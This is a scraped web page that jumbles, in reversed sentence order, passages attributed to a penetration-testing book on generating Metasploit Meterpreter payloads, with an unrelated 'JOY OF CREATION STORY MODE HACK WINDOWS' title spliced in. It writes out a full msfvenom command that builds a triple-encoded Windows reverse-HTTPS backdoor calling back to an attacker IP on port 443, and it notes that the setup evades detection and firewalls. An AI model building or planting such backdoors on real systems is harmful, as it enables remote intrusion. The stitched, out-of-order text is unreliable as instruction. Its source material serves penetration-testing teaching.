Once we've set up the variables, we can use the generate command to generate our payload. The port's default value is 4444 and we are going to stick with that, so all we have to do is set the LHOST variable to our IP address. The reverse_tcp module takes two options: the local host ( LHOST) and the port that the payload should connect back to. We want to use the meterpreter/reverse_tcp module, creating a Meterpreter payload that will connect back to us. When we press the Tab key once we've entered a few characters, it will complete as much of the command as it can for us. Msfconsole has tab completion, so we don't have to type the whole path when we're entering a module. You should substitute in your IP address for the LHOST so the target will call back to you.
THE JOY OF CREATION STORY MODE HACK WINDOWS
This creates a binary for windows called msf-backdoor.exe that has been encoded three times and will call back to our IP address (172.16.85.149) on port 443.
Our command to do this is “msfvenom -f exe -o msf-backdoor.exe -i 3 -p windows/meterpreter/reverse_https LHOST=172.16.85.149 LPORT=443”. Now that we have picked our payload, we need to tell msfvenom to create the payload, encode it, and save it as an executable. This is one of the standard reverse shells that we use in penetration testing. This payload will communicate over HTTPS so it is less likely to be detected, and because it calls back to us, it is less likely to get picked up by a firewall as well. For this example, we are going to be using the “windows/meterpreter/reverse_https” payload. The Msfvenom tool can create binaries and export shellcode for various payloads for Metasploit as well as assist with encoding and removing special characters.īefore we begin, we need to decide on which payload we want to use. Msfvenom is the replacement for two commands, msfpayload and msfencode. We will go through Metasploit’s msfvenom to generate a payload. Jason Andress, Ryan Linn, in Coding for Penetration Testers (Second Edition), 2017 Getting a Shellīefore we can start working with Meterpreter, we need to get a Meterpreter shell.
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